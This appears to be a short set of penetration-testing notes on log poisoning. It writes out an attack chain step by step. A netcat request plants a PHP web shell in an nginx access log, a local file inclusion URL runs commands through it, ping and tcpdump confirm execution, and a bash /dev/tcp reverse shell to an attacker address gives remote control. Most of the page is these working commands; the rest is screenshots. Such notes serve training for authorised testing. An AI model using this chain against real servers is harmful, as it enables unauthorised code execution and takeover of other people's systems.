# Log Poisoning

## Log Poisoning

code&#x20;

```
nc -nv $IP 80
```

```
GET /<?php passthru($_GET['offsec']); ?>
```

example

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FreETKMu1HsYWXqDzMTML%2Fimage.png?alt=media&#x26;token=39d3999d-d73d-4ec4-90a8-fb1ca0008342" alt=""><figcaption></figcaption></figure>

## Test RCE

code&#x20;

```
tcpdump -i any "icmp"
```

example

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FdmXolmQOT4K4ZQHjhUhc%2Fimage.png?alt=media&#x26;token=c9c83b55-0888-4e59-a44b-9c0e7364ef32" alt=""><figcaption></figcaption></figure>

code

```
http://192.168.1.165/thankyou.php?file=/var/log/nginx/access.log&offsec=ping%20-c%203%20192.168.1.7
```

example

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FOOyc64ccUrATwzDkcv9K%2Fimage.png?alt=media&#x26;token=c4393b91-1830-4201-9a08-491b4677834c" alt=""><figcaption></figcaption></figure>

## Reverse Shell

code

```
bash -c 'bash -i >& /dev/tcp/192.168.1.7/443 0>&1'
```

* to url encode

example

<figure><img src="https://3828380822-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fpx6cJ08M6FCY1YRTcYXf%2Fuploads%2FRJwBNlmHaZsNJnR6HQGZ%2Fimage.png?alt=media&#x26;token=f644897f-7429-494b-bb46-1c5d32598821" alt=""><figcaption></figcaption></figure>
